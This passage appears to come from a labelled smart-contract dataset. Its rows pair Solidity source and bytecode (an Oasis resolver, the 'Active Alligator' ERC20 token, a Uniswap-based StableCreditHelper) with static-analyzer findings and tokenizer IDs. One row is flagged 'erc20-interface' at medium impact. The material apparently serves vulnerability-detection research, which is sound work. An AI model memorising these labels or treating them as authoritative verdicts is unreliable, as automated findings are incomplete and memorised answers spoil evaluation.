wdiv(_sellAmt, _buyAmt); unitAmt = wmul(unitAmt, add(WAD, slippage)); } } contract Resolver is OasisHelpers { function getBuyAmount(address buyAddr, address sellAddr, uint sellAmt, uint slippage) public view returns (uint buyAmt, uint unitAmt) { (TokenInterface _buyAddr, TokenInterface _sellAddr) = changeEthAddress(buyAddr, sellAddr); buyAmt = OasisInterface(getOasisAddr()).getBuyAmount(address(_buyAddr), address(_sellAddr), sellAmt); unitAmt = getBuyUnitAmt(_buyAddr, buyAmt, _sellAddr, sellAmt, slippage); } function getSellAmount(address buyAddr, address sellAddr, uint buyAmt, uint slippage) public view returns (uint sellAmt, uint unitAmt) { (TokenInterface _buyAddr, TokenInterface _sellAddr) = changeEthAddress(buyAddr, sellAddr); sellAmt = OasisInterface(getOasisAddr()).getPayAmount(address(_sellAddr), address(_buyAddr), buyAmt); unitAmt = getBuyUnitAmt(_sellAddr, sellAmt, _buyAddr, buyAmt, slippage); } function getMinSellAmount(address sellAddr) public view returns (uint minAmt) { (, TokenInterface _sellAddr) = changeEthAddress(getAddressETH(), sellAddr); minAmt = OasisInterface(getOasisAddr()).getMinSell(_sellAddr); } } contract InstaOasisResolver is Resolver { string public constant name = "Oasis-Resolver-v1"; }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806306fdde031461005c578063295ef574146100df578063ab1be68614610172578063b3143a21146101bc578063b4bb12d114610214575b600080fd5b6100646102a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610155600480360360808110156100f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506102e0565b604051808381526020018281526020019250505060405180910390f35b61017a61040b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101fe600480360360208110156101d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610427565b6040518082815260200191505060405180910390f35b61028a6004803603608081101561022a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610505565b604051808381526020018281526020019250505060405180910390f35b6040518060400160405280601181526020017f4f617369732d5265736f6c7665722d763100000000000000000000000000000081525081565b6000806000806102f08888610630565b915091506102fc6106d0565b73ffffffffffffffffffffffffffffffffffffffff1663ff1fd9748284896040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060206040518083038186803b1580156103b457600080fd5b505afa1580156103c8573d6000803e3d6000fd5b505050506040513d60208110156103de57600080fd5b810190808051906020019092919050505093506103fe81858489896106ec565b9250505094509492505050565b600073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee905090565b60008061043b61043561040b565b84610630565b9150506104466106d0565b73ffffffffffffffffffffffffffffffffffffffff1663511fa487826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156104c257600080fd5b505afa1580156104d6573d6000803e3d6000fd5b505050506040513d60208110156104ec57600080fd5b8101908080519060200190929190505050915050919050565b6000806000806105158888610630565b915091506105216106d0565b73ffffffffffffffffffffffffffffffffffffffff1663144a27528383896040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060206040518083038186803b1580156105d957600080fd5b505afa1580156105ed573d6000803e3d6000fd5b505050506040513d602081101561060357600080fd5b8101908080519060200190929190505050935061062382858389896106ec565b9250505094509492505050565b60008061063b61040b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610673578361067c565b61067b61083d565b5b915061068661040b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146106be57826106c7565b6106c661083d565b5b90509250929050565b600073794e6e91555438afc3ccf1c5076a74f42133d08d905090565b6000806107798573ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561073857600080fd5b505afa15801561074c573d6000803e3d6000fd5b505050506040513d602081101561076257600080fd5b810190808051906020019092919050505085610859565b905060006108078873ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c657600080fd5b505afa1580156107da573d6000803e3d6000fd5b505050506040513d60208110156107f057600080fd5b810190808051906020019092919050505088610859565b90506108138183610873565b92506108308361082b670de0b6b3a7640000876108ab565b61092e565b9250505095945050505050565b600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2905090565b600061086b8284601203600a0a61096e565b905092915050565b60008161089b61088b85670de0b6b3a764000061096e565b6002858161089557fe5b04610a03565b816108a257fe5b04905092915050565b6000828284039150811115610928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f7375622d6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b92915050565b6000670de0b6b3a764000061095e610946858561096e565b6002670de0b6b3a76400008161095857fe5b04610a03565b8161096557fe5b04905092915050565b60008082148061098b575082828385029250828161098857fe5b04145b6109fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f6d6174682d6e6f742d736166650000000000000000000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284019150811015610a80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f6d6174682d6e6f742d736166650000000000000000000000000000000000000081525060200191505060405180910390fd5b9291505056fea2646970667358221220c0de4b1b22977dfd794ec0f5fd27155c991c55d8be8526ac2138f6b0228b0b0d64736f6c63430006010033
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 2692, 21486, 2094, 2683, 27717, 2575, 15878, 2581, 27421, 22932, 2692, 2278, 26976, 2692, 2581, 2575, 27421, 2063, 2692, 2581, 16932, 2549, 2278, 19317, 22394, 5243, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 8278, 18128, 18447, 2121, 12172, 1063, 3853, 2131, 21266, 5349, 1006, 19204, 18447, 2121, 12172, 3477, 1035, 17070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 2131, 8569, 14852, 21723, 1006, 4769, 4078, 2102, 1010, 4769, 5034, 2278, 1010, 21318, 3372, 5034, 28727, 2102, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 2131, 4502, 14852, 21723, 1006, 4769, 5034, 2278, 1010, 4769, 4078, 2102, 1010, 21318, 3372, 4078, 15464, 2102, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,887
0x95e075a1633bb83131dd87d79cf4bd8c7d88bcbe
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Active Alligator' token contract // // Symbol : AAR // Name : Active Alligator // Total supply: 15 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract AAR is BurnableToken { string public constant name = "Active Alligator"; string public constant symbol = "AAR"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 15000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6040518060400160405280601081526020017f41637469766520416c6c696761746f720000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a62e4e1c00281565b60008111610a1e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6a57600080fd5b6000339050610ac182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b19826001546114b490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce8576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c565b610cfb83826114b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f414152000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4957600080fd5b610f9b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c057fe5b818303905092915050565b6000808284019050838110156114dd57fe5b809150509291505056fea264697066735822122029621cd8d2d4b6330664073541089f615e44df7af3bab380b13e7c76fcb0162064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2063, 2692, 23352, 27717, 2575, 22394, 10322, 2620, 21486, 21486, 14141, 2620, 2581, 2094, 2581, 2683, 2278, 2546, 2549, 2497, 2094, 2620, 2278, 2581, 2094, 2620, 2620, 9818, 4783, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 2053, 6105, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,888
0x95e0c14017bad43dbf044c202b1d23f01090f8d5
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } interface UniswapRouter { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function factory() external view returns (address); } interface UniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface StableCreditProtocol { function utilization(address token) external view returns (uint); function BASE() external view returns (uint); function MAX() external view returns (uint); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function balances(address owner, address token) external view returns (uint); } contract StableCreditHelper { using SafeMath for uint; UniswapRouter public constant UNI = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); StableCreditProtocol public constant STABLE = StableCreditProtocol(0xB5a137bb2ab7e317756C399Fd94CA215CeCE81D6); constructor () public {} // How much system liquidity is provided by this asset function _utilization(address token, uint amount) internal view returns (uint) { uint _max = STABLE.MAX(); uint _base = STABLE.BASE(); address _pair = UniswapFactory(UNI.factory()).getPair(token, address(STABLE)); uint _ratio = _base.sub(_base.mul(STABLE.balanceOf(_pair).add(amount)).div(STABLE.totalSupply())); if (_ratio == 0) { return _max; } return _ratio > _max ? _max : _ratio; } // Calculate share of credit pool remaining [_token_amount, _USD_amount] function calculateBalance(address token) external view returns (uint[] memory amounts) { return calculateBalanceOf(msg.sender, token); } // Calculate share of credit pool for given owner [_token_amount, _USD_amount] function calculateBalanceOf(address owner, address token) public view returns (uint[] memory amounts) { address _pair = UniswapFactory(UNI.factory()).getPair(token, address(STABLE)); uint _supply = IERC20(_pair).totalSupply(); uint _balance = IERC20(token).balanceOf(_pair); uint _share = STABLE.balances(owner, token); amounts = new uint[](2); amounts[0] = _balance.mul(_share).div(_supply); _balance = STABLE.balanceOf(_pair); amounts[1] = _balance.mul(_share).div(_supply); } // Calculate maxium amount of credit a depositer will get for their token function calculateCreditMax(address token) external view returns (uint) { return calculateCreditMaxOf(msg.sender, token); } function calculateCreditMaxOf(address owner, address token) public view returns (uint) { return calculateCredit(token, IERC20(token).balanceOf(owner)); } function calculateCredit(address token, uint amount) public view returns (uint) { return amount.mul(_utilization(token, amount)).div(STABLE.BASE()); } // Calculate how much USD required to borrow exact amount of output token function calculateBorrowExactOut(address token, uint outExact) external view returns (uint) { address[] memory _path = new address[](2); _path[0] = address(STABLE); _path[1] = token; return UNI.getAmountsIn(outExact, _path)[0]; } // Calculate maximum amount of output token given amount of USD owner by owner function calculateBorrowMax(address token) external view returns (uint) { return calculateBorrowMaxOf(msg.sender, token); } function calculateBorrowMaxOf(address owner, address token) public view returns (uint) { return calculateBorrowExactIn(token, STABLE.balanceOf(owner)); } // Calculate amount of token received given exact amount of USD input function calculateBorrowExactIn(address token, uint inExact) public view returns (uint) { address[] memory _path = new address[](2); _path[0] = address(STABLE); _path[1] = token; return UNI.getAmountsOut(inExact, 